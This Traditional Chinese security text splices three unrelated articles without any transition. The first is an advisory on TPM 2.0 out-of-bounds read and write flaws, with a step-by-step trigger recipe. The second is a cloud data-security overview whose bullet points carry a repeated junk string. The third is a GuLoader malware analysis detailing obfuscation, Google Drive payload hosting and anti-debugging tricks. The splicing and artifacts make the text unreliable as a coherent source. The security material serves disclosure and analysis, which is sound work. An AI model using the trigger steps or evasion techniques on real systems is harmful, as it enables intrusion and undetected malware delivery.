請注意,這篇文章中的大多數評估(例如關於可利用性、影響或受影響的平台)都是基於我們對基於軟件的虛擬TPM的分析,因為我們可以用一種簡單的方式調試它們來執行動態分析,因為調試Hyper-V的虛擬TPM更難,因為它作為一個IUM進程運行。相反,在沒有調試接口的單獨芯片中運行的TPM固件中,了解運行時發生的事情是一個完全不同的問題。事實證明,即使對硬件TPM的固件進行靜態分析也很困難,因為我們試圖分析的少數TPM固件更新碰巧是加密的。因此,缺乏對硬件TPM的具體評估並不意味著它們不受影響,而是由於缺乏可觀察性,我們無法評估它們中的大多數是如何受到影響的。但是,使用本文中發布的概念驗證代碼,至少會驗證一些TPM芯片是易受攻擊的。在嘗試OOB寫入後,芯片將停止響應(即不再識別命令),並需要重新啟動計算機才能再次運行,從而確認其易受攻擊狀態。

受影響的平台以下是受影響的軟件和硬件平台的簡單列表。其中列出的產品,是我們可以藉助本文中提供的PoC證明存在漏洞的產品,但其他TPM(無論是虛擬的還是物理的)也很可能存在漏洞。

在我們進行研究時,易受攻擊的代碼存在於TPM 2.0參考實現的最新可用版本:Trusted Platform Module Library Specification, Family '2.0', Level 00, Revision 01.59 – November 2019;

Windows 10上的Microsoft Hyper-V(受影響模塊:TPMEngUM.dll版本10.0.19041.1415);

VMware Workstation 版本16.2.4 構建-20089737(受影響模塊:tpm2emu.exe -可執行文件中沒有版本信息);

Qemu和VirtualBox使用的Libtpms/SWTPM (從主分支編譯,提交520a2fa27d27a4ab18f4cf1c597662c6a468565f);

Nuvoton硬件TPM(固件版本:1.3.0.1);

通常,所有固件基於可信計算組參考實現代碼的TPM 2.0都會受到影響。

對雲計算的威脅當前幾乎所有主要的雲計算提供商都提供帶有虛擬TPM的實例,這使得攻擊者可能試圖利用虛擬TPM中的這些漏洞,以繞過虛擬機並破壞主機系統。

亞馬遜AWS已配備了NitroTPM,Nitro TPM:Trusted Platform Module (TPM) 2.0,是一項安全性和兼容性功能,可讓客戶更輕鬆地在其EC2實例中使用依賴於TPM的應用程序和操作系統功能。它符合TPM 2.0規範,可以輕鬆將使用TPM功能的現有本地工作負載遷移到EC2;

Microsoft Azure提供虛擬TPM作為可信啟動的一部分;

谷歌云提供虛擬TPM作為屏蔽虛擬機的部分功能;

Oracle Cloud Infrastructure提供虛擬TPM作為屏蔽實例的一部分。

那些使用基於TCG參考實現的虛擬TPM的提供商預計很容易受到攻擊。以Google Cloud為例,他們的虛擬TPM的核心來自IBM發布的代碼,該代碼自動從TPM 2.0規範的完整源代碼中提取,CryptParameterDecryption函數中的漏洞存在於其中。以微軟Azure為例,他們的虛擬TPM“符合TPM 2.0規範”,我們已經驗證了Windows 10上可用的Hyper-V版本中包含的虛擬TPM確實非常易受攻擊。

關於亞馬遜AWS和Oracle雲基礎設施,除了知道“符合TPM 2.0規範”並鏈接到TCG網站外,我們沒有太多關於他們的信息。

修復參考實例(Reference Implementation)可信計算組織(Trusted Computing Group,TCG)發布了TCG可信平台模塊庫的勘誤表1.4版,並對這兩個漏洞提出了修復建議。

軟件產品微軟在2023年3月的安全更新中修復了Hyper-V中的漏洞。他們對TPM 2.0在Azure的Pluton/HCL/Overlake/Manticore標準服務器上的OOB寫入影響的評估很低,因為只有2個字節覆蓋,目前該團隊還沒有一種易於實現的方法來獲得僅2個字節的EoP或RCE。

微軟還通過提交9bdd9f0aaba5e54b3c314cfff02cf532281a067e修復了他們的開源參考實現。

VMware預計將於2023年4月發布這些漏洞的修復程序。

Libtpms修復了提交324dbb4c27ae789c73b69dbf4611242267919dd4中的漏洞。

Chromium OS修復了提交3b87ed233acb4c76c27872e1ac0b74dc032199f1漏洞。

IBM在提交102893a5f45dbb0b0ecc0eb52a8dd4defe559f92中修復了他們的開源實現。

硬件產品Nuvoton為其NPCT65x TPM芯片發布了安全諮詢SA-003。

聯想發布了關於使用上述Nuvoton TPM的受影響產品的安全諮詢LEN-118320。

查看計算機製造商的網站以獲取TPM固件更新。

技術細節關於TPM加密參數的入門教程如Trusted Platform Module Library Specification,Family 2.0,Part 1:Architecture 第21節“基於會話的加密”中所描述的那樣,一些TPM 2.0命令具有可能需要加密的參數,這些參數可能需要去往TPM或通過TPM進行加密。可以使用基於會話的加密來確保這些參數的機密性。引用規範如下:

並非所有命令都支持參數加密。如果允許基於會話的加密,只有請求或響應的參數區域中的第一個參數可以被加密。參數必須有明顯的大小字段。只有參數的數據部分被加密。 TPM應該支持使用XOR模糊處理的基於會話的加密。對使用CFB模式的分組密碼的支持是特定於平台的。這兩種加密方法(XOR和CFB)不需要填充數據進行加密,因此加密數據大小和純文本數據大小相同。

基於會話的加密使用會話啟動時建立的算法參數以及從特定於會話的sessionKey派生的值。

如果sessionAttributes.decrypt在命令的會話中為SET,並且該命令的第一個參數是一個大小為緩衝區的參數,則使用會話的加密參數對該參數進行加密。

帶有加密參數的TPM 2.0命令由基本命令標頭、handleArea和sessionArea組成,最後是加密的參數parameterArea。結構如下:

1.png

如下圖所示,在TPM 2.0參考實現中,ExecCommand.c中的ExecuteCommand函數檢查sessionArea的authorizationSize字段是否至少為9([1])。之後,在[2]中,它計算parameterArea的開始(位於sessionArea之後),並將其保存到parmBufferStart變量中。在[3]中,它計算parameterArea的大小,並將其保存到parmBufferSize變量中。然後它調用ParseSessionBuffer()([3]),傳遞parmBufferStart和parmBufferSize作為參數([5], [6])。

2.png

SessionProcess.c中的函數ParseSessionBuffer解析命令的sessionArea。如果會話具有Decrypt屬性集([1]),並且命令代碼允許參數加密,則ParseSessionBuffer調用CryptParameterDecryption()([2]),傳播parmBufferSize([3])和parmBufferStart([4])參數:

3.png

CryptParameterDecryption函數中存在的漏洞CryptUtil.c中的函數CryptParameterDecryption對加密的命令參數執行就地解密。

4.png

此函數中出現的兩個安全漏洞漏洞1:OOB read(CVE-2023-1018):在[1]中,函數使用BYTE_ARRAY_TO_UINT16宏從parmBufferStart指向的緩衝區中讀取16位字段(cipherSize),而不檢查是否有任何參數數據超過會話區域。之前在函數ExecuteCommand中執行了唯一的長度檢查,但該檢查只驗證了命令的sessionArea至少有9個字節。因此,如果格式錯誤的命令不包含越過sessionArea的parameterArea,它將觸發越界內存讀取,使TPM在命令結束後訪問內存。

請注意,BYTE_ARRAY_TO_INT16宏不執行任何邊界檢查:

5.png

應該使用UINT16_Unmarshal函數來代替,它在從給定的緩衝區讀取之前執行適當的大小檢查。

漏洞2:OOB寫入(CVE-2023-1017):如果提供了適當的parameterArea(避免出現漏洞1),則parameterArea的前兩個字節將被解釋為要解密的數據的大小([1]處的cipherSize變量)。在讀取了cipherSize之後,在[2]處,緩衝區指針向前移動2。在[3]中有一個健全性檢查,如果cipherSize值大於實際緩衝區大小,那麼它將被釋放,但這裡有一個問題,在讀取cipherSize 16位字段並將緩衝區指針向前移動2之後,函數會忘記從bufferSize減去2,忽略已經處理的兩個字節。因此,使用比剩餘數據實際大小大2的cipherSize值成功地通過[3]的完整性檢查是可能的。這樣,當調用CryptXORObfuscation()或ParmDecryptSym()函數(分別在[4]和[5]處)來實際解密cipherSize字段後面的parameterArea中的數據時,TPM最終會在緩衝區末尾寫入2個字節,從而導致越界寫入。

一個只有2個字節的OOB寫入一開始可能看起來不是一個非常強大的原語,但去年已有研究人員通過一個值為0x01的單字節OOB寫入,成功地在谷歌Titan M芯片上執行了代碼。

影響1.OOB讀取:CryptUtil.c中的函數CryptParameterDecryption可以讀取接收到的TPM命令結束後的2個字節。如果受影響的TPM沒有將接收到的命令之間的命令緩衝區清零,則可能導致受影響的函數讀取先前命令中已經存在的任意16位值。這取決於實現過程:例如,VMware不會清除請求之間的命令緩衝區,因此OOB讀取可以訪問上一個命令中已經存在的任何值,相反,Hyper-V的虛擬TPM在每次接收到請求時都會用零填充命令緩衝區中未使用的字節,因此OOB訪問最終只讀取零

2.OOB寫入:CryptUtil.c中的函數CryptXORObfuscity/ParmDecryptSym(從CryptParameterDecryption調用)可以在命令緩衝區結束後寫入2個字節,從而導致內存損壞。

第二個漏洞無疑是最有趣的一個。能夠覆蓋有用內容的可能性取決於每個實現如何分配接收TPM命令的緩衝區。例如:

VMware使用大小為0x10000的超大緩衝區,遠遠大於通常的最大TPM命令大小0x1000字節;

Hyper-V使用一個大小為0x1000的靜態變量作為命令緩衝區;

SWTPM使用malloc()分配大小為0x1008的命令緩衝區(8字節用於發送命令前綴,可用於修改位置,加上0x1000字節用於最大TPM命令大小)。

因此,在命令緩衝區附近有一些有用的東西(我們可以用OOB寫入來覆蓋)的可能性實際上取決於實現。上面提到的三個虛擬TPM都使用完全不同的方法來分配命令緩衝區。類似地,在給定硬件TPM的固件的命令緩衝區之後覆蓋一些有用內容的可能性完全取決於特定硬件供應商如何分配用於保存傳入命令的緩衝區。

觸發漏洞為了再現上述2個漏洞中的一個,有必要向目標TPM發送2個命令。在這兩種情況下,第一個命令必須是TPM2_StartAuthSession命令,以啟動授權會話。為簡單起見,我們可以指定TPM_ALG_XOR作為要使用的對稱算法。結果,我們得到一個包含會話句柄的TPM響應。

之後,我們需要發送一個支持參數加密的命令。我們使用了tpm2_creatprimary,儘管其他一些命令可能也能運行。我們在tpm2_creatprimary命令的sessionArea中傳遞上一步中獲得的會話句柄,並在sessionAttributes字段中設置Decrypt標誌。然後:

1.為了再現漏洞1(OOB讀取),我們發送具有最小有效sessionArea的TPM2_CreatePrimary命令,之後沒有數據,即缺少parameterArea。

2.為了再現漏洞2 (OOB寫入),我們發送tpm2_creatprimary命令,其總大小等於支持的最大TPM命令大小(0x1000字節)。在本例中,我們確實包含了一個parameterArea,其中cipherSize字段設置為0xfe5 (0x1000 - sizeof(command_base_header) - sizeof(handleArea) - sizeof(sessionArea)),後面跟著0xfe3字節的任意值(填充加密參數的位置),以完成整個tpm2_creatprimary命令的0x1000字節。

概念驗證.zip文件包含PoC的Python版本(用於在Linux系統上運行)和C版本(用於在Windows機器上運行)。

總結在TPM 2.0參考實現的代碼中發現了兩個安全漏洞:越界讀取和越界寫入。因此,其固件基於可信計算組發布的參考代碼的每個TPM(軟件或硬件實現)都將受到影響。

有趣的是,儘管所有受影響的TPM共享完全相同的易受攻擊的功能,但成功利用的可能性取決於命令緩衝區的實現方式,這部分取決於每個實現。從上述示例可以看到,每個人似乎都以不同的方式處理它:一些人在接收到的請求之間清除命令緩衝區,但另一些人不會;有些通過malloc()在堆中分配命令緩衝區,而另一些則使用全局變量。

本文已經驗證這些漏洞存在於主要桌面虛擬化解決方案(如VMware Workstation、Microsoft Hyper-V和Qemu)中包含的軟件TPM中。最大的雲計算提供商提供的虛擬TPM也可能受到影響。例如,Google Cloud使用IBM發布的代碼自動從TCG參考實現中提取,並且IBM提供的代碼中存在的漏洞也被驗證了。以微軟Azure為例,我們已經提到Windows 10上的Hyper-V受到了影響,由於Azure虛擬機監控程序是基於Hyper-V的,我們預計這兩個漏洞也會出現在Microsoft的雲平台上。

我們預計大多數TPM硬件供應商也會受到影響。由於缺乏調試設置來查看TPM固件在運行時發生的情況,因此很難確認物理芯片中是否存在漏洞。靜態分析可以作為評估硬件TPM是否易受攻擊的替代方法,但在我們設法獲得的少數TPM固件更新中,這些更新是加密的。

雲技術發展迅速,為幾乎所有已知的服務和產品提供了基於雲的替代方案。根據Markets and Markets的一份報告,雲計算市場預計將從2021 年的4453 億美元增長到2026 年的驚人的9473 億美元。但是,基於雲的服務的增長和多樣性讓軟件供應商和可能想要訪問您的數據的惡意行為者都興奮不已。

為了確保敏感數據的安全存儲,開發人員需要加強對本地和雲環境的保護。他們還必須證明符合GDPR、NIST 標準、PCI DSS、ISO/IEC 27001 以及其他法規、標準和法律。那麼如何確保云中的數據安全呢?是否有可能追踪並消除基於雲的軟件中的所有漏洞?

在本文中,我們將重點介紹五種關鍵的雲數據安全威脅以及保護雲中數據的法律要求,以幫助您應對這些威脅。本文對希望構建安全的基於雲的應用程序的開發團隊和領導者很有用。

誰負責保護雲中的數據?供應商和用戶共同負責雲中的數據安全。每個人都知道這一點,但每個人的理解不同。

例如,根據Snyk 的一項調查,只有10% 的安全專業人員認為開發人員負責其云原生應用程序中的數據安全。同時,超過36% 的開發者認為保護雲數據是他們的責任。

許多組織認為,一旦將數據上傳到雲服務,他們就無需擔心數據安全性和IT 要求的合規性。事實上,許多雲供應商實施了嚴格的網絡安全程序來幫助他們的客戶保護敏感數據。由他們的客戶決定是否執行這些程序、正確配置訪問權限以及證明IT 合規性。

image.png

誰負責雲數據安全?

雲供應商和應用程序開發人員的責任範圍通常在服務級別協議(SLA) 中確定。雲服務的典型SLA 定義:

马云惹不起马云 雲供應商同意提供的工作量和質量

马云惹不起马云所需的服務性能參數

马云惹不起马云供應商使用的安全功能和機制

马云惹不起马云安全事件和服務中斷的補救計劃

马云惹不起马云違反協議的處罰

雖然雲服務提供商(CSP) 和開發人員都有強大的機會來增強基於雲的解決方案中的數據保護,但每一方都必須應對雲中的眾多網絡安全挑戰。在下一節中,我們將了解您在開發基於雲的安全應用程序過程中可能面臨的主要挑戰以及避免或解決這些挑戰的方法。

基於雲的應用程序中的安全挑戰以及解決這些問題的方法雲環境的使用為雲應用程序開發團隊帶來了獨特的安全挑戰。 Cybersecurity Insiders的2021 年雲安全報告概述了五個最大的雲安全威脅:

image.png

5 大雲安全威脅

讓我們仔細研究一下這些問題以及緩解這些問題的方法,以創建安全的基於雲的軟件。

1、雲平台配置錯誤、設置錯誤Microsoft Azure 和Amazon Web Services (AWS) 等領先的雲平台為開發人員提供了大量預配置的安全功能。由開發人員定義他們的產品所需的安全級別。有時,不幸的是,這會導致對雲環境造成威脅安全的錯誤配置。

網絡安全錯誤配置被認為是最大的安全威脅之一,因為使用常規監控工具幾乎不可能檢測到它們。除了人為錯誤之外,錯誤配置的發生主要是由於雲環境的複雜性和不斷變化。

常見的錯誤配置示例如下:

马云惹不起马云 雲環境元素的無限制出站訪問

马云惹不起马云 開放對非HTTP/HTTPS 端口的訪問

马云惹不起马云 安全規則配置錯誤

大多數雲安全配置錯誤是在手動安全審查期間或安全事件的結果中發現的。幸運的是,有一些方法可以防止發生雲安全配置錯誤。特別是,您可以:

马云惹不起马云盡可能多地自動化配置管理活動

马云惹不起马云配置安全規則時使用結對編程

马云惹不起马云定期審核雲安全設置

马云惹不起马云監控異常訪問請求的網絡活動

image.png

減少雲中安全錯誤配置的4 種方法

2. 敏感數據洩露任何云服務提供商和用戶的主要關注點之一是保護他們的數據免受未經授權的訪問和盜竊。將敏感數據存儲在雲中為惡意行為者創造了更多的入口點,而保護它們則取決於兩者。

在本文中,我們將遵循Google對數據洩露的定義:

數據洩露的定義是當授權人員從其所屬的安全系統中提取數據,並將其與未經授權的第三方共享或將其轉移到不安全的系統中。授權人員包括員工、系統管理員和受信任的用戶。數據洩露可能是由於惡意或受損行為者的行為或意外發生的。

谷歌云文檔

數據洩露背後的關鍵原因是不受限制的數據共享功能、虛擬機的手動重新配置和惡意的內部活動。

以下是保護基於雲的應用程序免受數據洩露的方法:

马云惹不起马云 為最終用戶創建教育材料和網絡安全提示。這將有助於防止意外的數據洩露。

马云惹不起马云執行嚴格的數據保護政策和審計合規性。這些策略應包括共享數據訪問權限的最小特權原則以及不同類別敏感數據的不同級別共享能力。

马云惹不起马云加密傳輸中和靜止的數據。例如,通常的做法是使用SSL/TLS 加密來保護網絡流量。

3. 未經授權的訪問竊取合法用戶的帳戶或身份是進入雲環境的最便捷方式之一。確保云應用數據的高水平身份管理和精細訪問管理至關重要。

保護雲數據存儲免受非法訪問通常涉及使用以下類型的工具:

image.png

5 種限制未經授權訪問云中數據的工具

如果您的應用程序具有多租戶模式,您還需要確保數據隔離,以防止您的租戶訪問彼此的數據。

使用Microsoft Azure或AWS等大型供應商的雲服務的主要優勢在於,它們提供強大的訪問管理服務,可以幫助您確保所需的安全級別。

4. 不安全的APIAPI 允許部分雲軟件和第三方產品相互無縫交互。如果保護不力,API 可能成為黑客攻擊和數據洩露的網關。例如,攻擊者可以暴力破解API 用來與其他軟件元素通信並破壞他們的工作或竊取敏感數據的弱密碼。

以下提示將幫助您保護雲解決方案中使用的API :

image.png

保護API 的6 種方法

5. 外部數據共享雲服務使與世界各地的供應商、員工和客戶共享數據變得非常容易。一些企業甚至開發多雲環境,使用不同廠商的雲服務,更方便地共享各類數據和資源。

未經管理和管理不善的數據共享可能會導致數據洩露和對組織敏感數據的失控。這就是為什麼您需要實施保護機制來幫助您的客戶以安全的方式共享他們的數據。

您可以通過遵循以下規則來確保安全的數據共享:

image.png

保護外部數據共享的4 種方法

通過我們上面討論的網絡安全工具和實踐,您將能夠保護基於雲的應用程序使用的敏感數據。但是,它們可能不足以符合適用的網絡安全要求。讓我們看看如何使用安全標準創建基於雲的應用程序。

確保云中的合規性在構建具有安全合規性的基於雲的軟件時,您需要關注許多IT 安全要求、行業標準、當地法律和法規。下面,我們列出了需要特別注意的幾個步驟。

image.png

確保云解決方案的網絡安全合規性的3 個步驟

1. 定義您的合規要求列表。您需要遵守的要求列表取決於您提供的服務、您的目標行業以及您的企業和客戶的地理位置。 ISO/IEC 27001是最廣泛認可的信息安全國際標準之一。雲計算安全還有四個特定標準:ISO/IEC 27002、ISO/IEC 27017、ISO/IEC 27018和ISO/IEC 27036-4。

IT 安全法規的其他常見示例是美國國家標準與技術研究院的特別出版物。《通用数据保护条例》 規定了保護歐盟居民數據的規則。根據您所在的地區和行業,您可能還需要遵守HIPAA(適用於美國醫療保健組織及其合作者)和PCI DSS(用於存儲、處理或傳輸信用卡數據的組織)。

2.選擇合規的雲服務。如果您不是從頭開始構建整個系統,則需要選擇正確的CSP。在選擇供應商時,重要的是要考慮現在哪些合規性要求對您至關重要,以及您將來可能需要遵循哪些合規性要求。否則,由於合規性問題,您在切換到其他供應商時可能會浪費額外的時間和金錢。

3. 進行內部IT 合規性審計。基於雲的基礎架構非常靈活,使開發人員能夠比本地解決方案更快地調整雲應用程序。定期的內部合規審計可以幫助您驗證所需的安全機制是否有效,並且即使在更新後您的應用程序仍然受到保護。但請記住,IT 合規性和數據安全性並不總是相同的。最好分別運行合規性和安全審計。

結論在構建基於雲的產品時,您需要考慮可能危及產品數據安全性和IT 合規性的雲特徵。即使您與提供額外安全服務並遵守您必須遵守的法律、法規和標準的大型雲提供商合作,您仍然需要密切關注許多因素。

通過緩解雲中最常見的安全威脅,您可以提高雲解決方案的安全性並增強客戶的信心。

微信截图_20230603211328.png

GuLoader又稱CloudEyE,是一種Visual Basic Script (VBS) 下載程序,用於在受感染的計算機上傳播遠程訪問木馬,最早於2019年被首次發現。 GuLoader是一個著名的基於shellcode的下載程序,已被用於大量攻擊,主要用於傳輸各類惡意軟件。 GuLoader已經活躍了三年多,目前仍在進一步開發中。最新版本集成了新的反分析技術,這使得檢測變得越來越困難。新的GuLoader樣本在VirusTotal上接收零檢測,確保其惡意有效負載也未被檢測到。

GuLoader的有效負載是完全加密的,包括PE標頭。這允許攻擊者使用知名的公共雲服務存儲有效負載,繞過安全保護,並保持有效負載長時間可供下載。

早期版本的GuLoader是作為包含加密shellcode的VB6應用程序實現的。目前,最常見的版本是基於VBScript和NSIS安裝程序。 VBScript變體將shellcode存儲在遠程服務器上。

GuLoader介紹“封裝”和“加密”服務是專門為抵抗安全產品而設計的。 GuLoader是攻擊者用來逃避安全檢測的最重要途徑。

1.png

過去6個月內使用GuLoader的攻擊次數

除了代碼加密之外,GuLoader還利用了許多其他技術,包括反調試和沙盒逃避技術。 GuLoader的一個顯著特徵是加密的有效負載被上傳到遠程服務器。潛在的攻擊者會獲得一個高度保護的基於shellcode的加載程序,該加載程序從遠程服務器下載負載,然後解密並在內存中運行它,而不會將解密的數據釋放到硬盤驅動器中。

儘管谷歌努力阻止GuLoader加密的惡意負載,但在大多數情況下,GuLoader仍然從谷歌硬盤下載負載。下圖顯示了GuLoader在過去一個月使用的不同託管服務的統計數據。

2.png

GuLoader在2023年3月至4月期間使用的不同託管服務

有分析表明,GuLoader目前被用來傳播以下惡意軟件:

Formbook

XLoader

Remcos

404Keylogger

Lokibot

AgentTesla

NanoCore

NetWire

早期的GuLoader樣本設法避免了安全產品的檢測,但後來不同的安全解決方案都能夠檢測到它。然而,在網絡安全供應商不斷提高同時,GuLoader的開發人員也在繼續改進他們的產品。

技術細節GuLoader的早期版本是作為包含加密shellcode的VB6應用程序實現的。 shellcode執行加載加密有效負載、解密和從內存啟動它的主要功能。

目前,最常見的版本是基於VBScript和NSIS安裝程序(Nullsoft Scriptable Install System)。

VBScript變體在2022年底介紹的早期版本中,shellcode存儲在VBScript中。

新版本的一個顯著特點是加密的shellcode託管在雲服務(通常是Google Drive)上。 VBScript本身只包含一個小的混淆的PowerShell腳本和大量的垃圾代碼。這使得GuLoader樣本保持非常低的檢測率。

以下是使用GuLoader的VBS變體的感染鏈示例:

3.png

使用GuLoader的VBS變體的感染鏈

讓我們考慮一個SHA256 5fcfdf0e241a0347f9ff9caa897649e7fe8f25757b39c61afddbe288202696d5的示例。在2023年3月3日上傳到VirusTotal (VT)時,它從未被檢測到:

4.png

上傳兩天后,59家供應商中只有17家將此樣本標記為惡意樣本。

在撰寫本文時,指定的樣本上傳到VT已有3週,下載GuLoader shellcode和下載惡意負載(Remcos)的url仍然很活躍:

5.png

讓我們來看看GuLoader VBScript的內部。它包含許多偽隨機註釋和一些無用的命令。清理之後,我們得到的代碼是這樣的:

6.png

清理過的GuLoader vbscript

這段代碼的目的是調用PowerShell解釋器,並將“pa0”變量中收集的腳本代碼作為參數傳遞給它。

如果我們在添加省略和連字符後查看“pa0”變量的內容,我們會得到以下腳本:

7.png

GuLoader混淆了PowerShell腳本

我們看到這個新腳本包含函數“Gothites9”,它實現了從第二個字符開始以3的步長剪切傳遞的字符串。因此,命令“$Tjene0=Gothites9'OIUlEDiXSa';”的結果是“IEX”。

字符串$Parrotb以相同的方式轉換。從位置2開始,從該字符串中每隔三個字符獲取一個字符串,該字符串是另一個PowerShell腳本:

8.png

刪除第一層混淆後的GuLoader PowerShell腳本

該腳本可以通過使用IEX命令(如果操作系統是32位)調用,也可以作為參數傳遞給從SysWOW64文件夾調用的PowerShell解釋器(如果操作系統是64位)。這是因為GuLoader shellcode必須在32位進程中運行。

可以看到,腳本代碼包含指向Google Drive的URL。

但是,生成的腳本仍然嚴重混淆。腳本以一個用於解碼字符串的函數開始:

9.png

GuLoader PowerShell腳本中的編碼字符串

有趣的是,嵌套腳本中的所有行都以編碼形式存儲,除了包含URL的行。

腳本去混淆後,我們得到以下代碼:

10.png

GuLoader PowerShell腳本去混淆

現在我們可以看到,腳本分配了2個內存區域,將數據從鏈接下載到Google Drive,並將其保存到臨時文件“%APPDATA%\Umig.For”中。接下來,使用BASE64對下載文件的內容進行解碼。解碼數據的前654個字節被釋放在第一個存儲區域(本例中為“$Gamme2483”),其餘的被釋放在第二個存儲區域中(本例為“$Nulstille”)。前654個字節包含一個混淆的shellcode,它旨在解密第二個複制區域,其中包含加密形式的shellcode的主要部分。

通過使用CallWindowsProc回調函數將控制權轉移到解密器,該函數還接收加密shellcode的地址和NtProtectVirtualMemory函數的地址作為參數。

基於NSIS安裝程序的變體與VBS變體不同,基於NSIS的樣本包含GuLoader shellcode,儘管是以加密的形式。這允許安全研究人員在沙盒中運行示例並查看GuLoader的行為,即使沙盒沒有連接到互聯網。靜態分析NSIS腳本和加密shellcode也是可能的。

在上傳到VirusTotal後,此類樣本現在可以被檢測到。

11.png

基於NSIS安裝程序的GuLoader變體的檢測率

我們不會詳細描述這種變體,因為在GuLoader: The NSIS Vantage Point一文中已經對其進行了分析。

GuLoader shellcodeNSIS和VBS變體都使用相同版本的shellcode。與以前的GuLoader版本一樣,shellcode實現了大量的反分析技術:

沙盒逃避技術包括:

掃描內存中與vm相關的字符串;

使用CPUID指令檢查虛擬化環境位是否開啟;

使用RDTSC結合CPUID測量時間;

搜索QEMU相關文件:C:\Program files\QEMU ga\QEMU-ga.exe和C:\Program files\qga\qga.exe;

使用EnumWindows API函數統計Windows的數量;

使用EnumDeviceDrivers API函數檢查是否存在與vm相關的驅動程序;

使用MsiEnumProductsA和MsiGetProductInfoA枚舉已安裝的軟件;

反調試技術:

掛鉤函數DbgBreakPoint和DbgUiRemoveBreakIn,以防止調試器附加;

從使用ThreadHideFromDebugger調用NtSetInformationThread函數的調試器中隱藏主線程ThreadInformation類值;

了解了GuLoader shellcode所使用的技術,在動態分析過程中使用調試器可以很容易地繞過它們。然而,在新版本中,我們遇到了一種使調試和靜態分析都非常困難的技術。

一種新的反分析技術從2022年底開始,GuLoader shellcode使用了一種新的反分析技術,它通過故意拋出大量異常並在將控制權轉移到動態計算地址的向量異常處理程序中處理它們來打破代碼執行的正常流程。

為了拋出異常,代碼使用int3指令。可以實現一個腳本,將int3指令自動替換為跳轉到正確地址的指令:

12.png

用jmp指令替換int3指令

該技術在《恶意软件分析:GuLoader剖析揭示新的反分析技术和代码注入冗余》 一文中首次被公開。然而,在新版本中,這項技術得到了改進。 shellcode開始使用三種不同的模式來拋出異常併中斷正常的代碼執行流程。

訪問無效內存地址導致訪問衝突

這種模式非常簡單。首先,作為數學運算的結果,其中一個寄存器被設置為零值。然後shellcode嘗試將數據寫入由該寄存器尋址的內存:

13.png

訪問無效內存地址引發訪問違規異常

導致訪問違規異常(0xC0000005)。該異常在GuLoader中由註冊的VEH處理,該VEH計算新地址以繼續執行shellcode。所使用的數字和導致計算零值的數學運算總是不同的。

設置陷阱標誌以引發單步異常GuLoader使用以下指令組合來設置EFALGS寄存器中的TF:

14.png

設置陷阱標誌以引發單步異常

乍一看,這段代碼中發生了什麼並不清楚。然而,如果我們計算寄存器EDI中的值,則得到值0x100。接下來的幾個指令的組合旨在推動EFLAGS並將TF (陷阱標誌)位設置為“1”。然後,將堆棧中修改後的值設置回EFLAGS寄存器。

當在EFLAGS寄存器中設置了Trap標誌但未附加調試器時,處理器會在執行下一條指令後生成單步異常(0x80000004)。在GuLoader中,註冊的VEH在這種情況下被調用。但是,如果附加了調試器,則不會調用GuLoader的VEH,並且執行路徑錯誤。

GuLoader shellcode中的代碼塊總是不同的,可以使用寄存器的各種組合。在無效內存地址的情況下,使用的數字和導致在EFLAGS寄存器中計算值0x100來設置TF的數學運算總是不同的。

使用int3引發斷點異常使用int3作為指令進行反分析技術已經在以前版本的GuLoader中實現。然而,它仍然被用於GuLoadershellcode的各個部分。當CPU在沒有調試器的情況下遇到int3指令時,它會生成斷點異常(0x80000003),並調用已註冊的VEH。但是,如果附加了調試器,則控制將轉移到調試器的中斷處理程序,該中斷處理程序通常會暫停程序的執行。 int3指令後面通常是隨機字節,這些字節會破壞shellcode的正常執行:

15.png

使用int3引發斷點異常

因此,如果不分析GuLoader VEH的代碼,我們就無法確定正確的執行路徑。

異常處理程序為了在出現3個指定異常的情況下計算新的跳轉地址,並將程序引導到新的執行路徑,GuLoader使用RtlAddVectoredExceptionHandler函數註冊向量異常處理程序(VEH)。

為了了解跳轉地址是如何計算的,讓我們看一下VEH代碼。

與代碼的其他部分一樣,VEH代碼也被混淆了。它包含垃圾指令,並且使用XOR運算動態計算重要值:

16.png

混淆的VEH代碼

然而,在IDA中反編譯之後,這段代碼看起來非常簡單:

17.png

反編譯的VEH代碼

如上所述,根據異常代碼的不同,VEH操作略有不同。在異常0x80000004 (EXCEPTION_SIGNLE_STEP)和0xC0000005 (EXCEPTION_ACCESS_VIOLATION)的情況下,它從發生異常的指令中獲取偏移量2處的字節值,並將該字節與某個常數值進行XOR(本例中為0x8B)。在異常0x80000003 (EXCEPTION_BREAKPOINT)的情況下,將獲取偏移量1處的字節,並使用常量進行XOR運算。需要注意的是,指定的常數在所有樣品中都是不同的。然後將得到的值添加到異常上下文中的EIP值中。因此,當退出異常處理程序時,控制權將轉移到新地址。

在所有情況下,異常處理程序還會檢查調試寄存器的狀態:

18.png

檢查VEH中的調試寄存器

如果設置了任何硬件斷點,異常處理程序將引用零地址而不是ContextRecord地址。這最終會導致應用程序崩潰。

在EXCEPTION_BREAKPOINT的情況下,異常處理程序還在舊EIP和計算出的新EIP值之間的地址空間中查找軟件斷點。

儘管可以使用各種各樣的代碼組合來觸發異常處理程序的執行,但它們都遵循3種模式,我們可以實現一個正則表達式來查找其中的大多數。不過,我們期望GuLoader開發人員在新版本中改變模式。

要修復一條引發異常的指令,並將其替換為跳轉到x32dbg中的正確地址,可以使用以下腳本(必須將0x8B替換為分析示例中的常量值):

19.png

URL解密

所有字符串,包括下載最終有效負載的URL,都被加密並以特定形式存儲在shellcode中:

20.png

對於上面的示例,我們去混淆了代碼,清除了垃圾指令和跳轉。實際上,代碼中包含大量的垃圾和無效指令。為了幫助理解混淆的複雜性,這是與前面的示例相對應的原始代碼的一部分:

21.png

在嚴重混淆的GuLoader shellcode中合成加密字符串

與字符串不同,解密密鑰存儲為解密函數後面的常規字節序列:

22.png

字符串解密XOR密鑰

這個密鑰通常不是很長,最多64字節。

使用帶有解密密鑰的XOR運算對字符串進行解密。解密字符串後,我們可以找到一個看起來像URL但沒有架構的字符串:

23.png

很明顯,GuLoader的開發者已經發現了安全研究人員知道了其在已知明文攻擊中使用字符串“http://”或“https://”解密以前版本shellcode中的url的方法,以檢測解密密鑰的第一個字節。因此,在新版本中,他們用隨機字節替換了URL方案。

如果解密後的URL字符串的第5個字節等於“s”,則GuLoader將前8個字節替換為“https://”。否則,它將用“http://”替換前7個字節。

以下是從不同示例中提取的更多URL字符串的示例:

24.png

有效負載解密

有效負載解密密鑰也以與加密字符串相同的方式存儲,但是該密鑰沒有被加密。密鑰長度通常在800-900字節的範圍內。

例如,在MD5 40b9ca22013d02303d49d8f922ac2739的示例中,密鑰的長度為844字節。然而,另一個長度用於解密例程,並以混淆形式存儲:

25.png

用於解密有效負載的密鑰長度與密鑰存儲的長度不同

